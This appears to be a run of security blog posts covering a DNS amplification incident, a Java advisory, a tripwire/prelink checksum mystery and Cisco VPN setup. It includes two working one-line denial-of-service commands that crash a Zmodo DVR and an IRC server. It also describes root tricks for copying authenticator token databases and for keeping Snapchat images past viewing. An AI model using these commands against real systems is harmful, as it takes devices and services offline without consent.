Someone hit this server with a recursive dns amplification attack last night. I caught a packet capture of the attack. Not much details other than the payload was from sandia.gov and over 3300 recursive dns servers were used for amplification. Sandia.gov has a pretty large amount of data sent via an ANY dns request.
List of recursive dns servers used in the attack listed below.
I’ve found it possible to crash the Zmodo D9104BH device by sending 2000 characters to port 18004. It immediately stops recording and initiates a reboot exactly 120 seconds afterwards. PoC is included below.
# perl -e ‘print “A” x 2000′ | nc 192.168.1.100 18004
# telnet 192.168.1.100 18004
telnet: connect to address 192.168.1.100: Connection refused
The device stops recording and reboots 120 seconds later.
To copy your existing Google Authenticator tokens to a new device, install Google Auth on the new device, then copy the files /data/data/com.google.android.apps.authenticator2/databases/databases* from your old device to your new device and make sure you change the files’ ownership to the new Google Auth owner.
If you have root on your android phone you can save your received Snapchat images for permanent viewing. As root, run chattr +a /data/data/com.snapchat.android/cache/received_image_snaps. Newly received images will remain in this directory even after viewing via the Snapchat app.
I don’t have technical details on the exploit but there is a PoC which Oracle has confirmed exists. Unfortunately, there is no workaround right now except possibly downgrading to Java 6 which doesn’t contain one of the bugs this exploit needs to function. Even the latest Java 7 Update 11 is vulnerable. I’d advise disabling your java plugin until this issue is resolved.
I noticed some overly-complicated exploits running around, but after some tcpdumping and stracing, this will do it in one line. Enjoy.
# perl -e ‘print “CAPAB \r\n” x 1000′ | nc victim.ircd.com 6667
There exists a highly exploitable snmp amplification attack via one of the more prominent Internet providers in the USA. I was hit by this attack recently and was lucky enough to gather packet captures of the attack. In the interest of full disclosure, I’ve alerted the provider. If they don’t respond soon I’ll disclose all the details in this blog, including IP addresses of vulnerable routers and their read/write community strings. Full disclosure is supposed to encourage problem resolution.
** Update 20130111 **
Submitted to Bugtraq after no vendor response.
** Update 20130116 **
After speaking with Comcast engineers, I’ve removed the list of vulnerable hosts since they are actively working to resolve the issue.
OpenDNS has released an application that encrypts dns traffic from your host to their dns servers. This prevents someone sniffing the network to see your dns traffic, and more importantly, protects against dns spoofing. I built rpm packages if anyone is interested in trying it out. I’ve created dnscrypt-proxy-0.9.4 64-bit rpms. A binary rpm is available here.
I ran across an issue about 6+ months ago where, per tripwire, about a dozen files on a linux box were modified, indicating system compromise. I’m putting the md5s here in case anyone runs across the same issue. The initial attack vector is very likely ssh but doesn’t seem to be from a remote root exploit in the daemon. Replacing the modified binaries with known-good binaries results in the files reverted, even without sshd running, usually from 3-5am the next day, at various times each occurance. There’s likely rootkit and kernel module inserted, which either allows remote access (port knock, portscan shows ports closed) or the rootkit itself is replacing the files via a hidden process. Let me know if anyone runs across this in the wild at rsweat at gmail.
Known compromised mailx and bash binaries. I will update with more files soon.
App Version Modified Binaries
mailx.x86_64 0:12.4-6.el6 1df4fdd59ff8b7a1691b86fba4634173
mailx.x86_64 0:8.1.1-44.2.2.el5 9b0051bb78cc325204b36d214743e493
bash.x86_64 0:3.2-24.el5 0bd86315e2196290a5d32dc080a573dd
bash.x86_64 0:3.2-24.el5 fccc6baa1d5fb2042e3689749f8e41c5
These are the modified files that tripwire can detect.
I’ve come to realise that these md5 hashes are useless and unlikely to be found in the wild since I’ve not seen two unique md5dsums on any separate servers. It must somehow be polymorphic and appending something unique to the beginning and end of the file. It also seems a rootkit is loaded since objdump shows no differences between the versions, but when booted to a live cd and run the same checks, there are a huge number of differences. A case was opened with RedHat and the engineer said he was able to reproduce this in his lab. That’s not very reassuring. Since no rootkit detection or AV software can identify this, I think there’s only two possibilities of its source. To be continued…
Our awesome security folks found the reason for the checksums changing is the prelink cron job that runs daily in order to speed up application loading. There’s a method to call prelink with the -y or –md5 options to verify its original checksum. It’s unfortunate tripwire doesn’t account for this. The only solution is to disable prelinking or stop using tripwire. Much appreciation to the security group that determined the reason for the change in checksum. I’ll mention their name once I get their permission to do so online.
The Cisco docs aren’t very helpful, and I’ve spent a lot of time getting this working, often making dozens of changes and not knowing which one actually fixed it. I’ve finally nailed it down. On Fedora 15/16, this is all you need to do.
You can install the Anyconnect software before or after installing these packages. If you installed it before, you will need to restart the vpnagentd_init service afterwards.
# yum install gdk-pixbuf2-devel.i686 libcurl-devel.i686 gtk2-devel.i686 glibc.i686 libxml2.i686 libxml2-devel.i686 libcurl-devel.i686 gtk2-devel.i686 atk-devel.i686 glibc.i686 libxml2.i686 libxml2-devel.i686
# ln -s /lib/libplc4.so /usr/lib/libplc4.so
# ln -s /lib/libnspr4.so /usr/lib/libnspr4.so
That’s it! Open up the gui client as a non-root user.
If there are problems, start the vpn client in a terminal so you can see any errors thrown, and watch syslog for additional errors.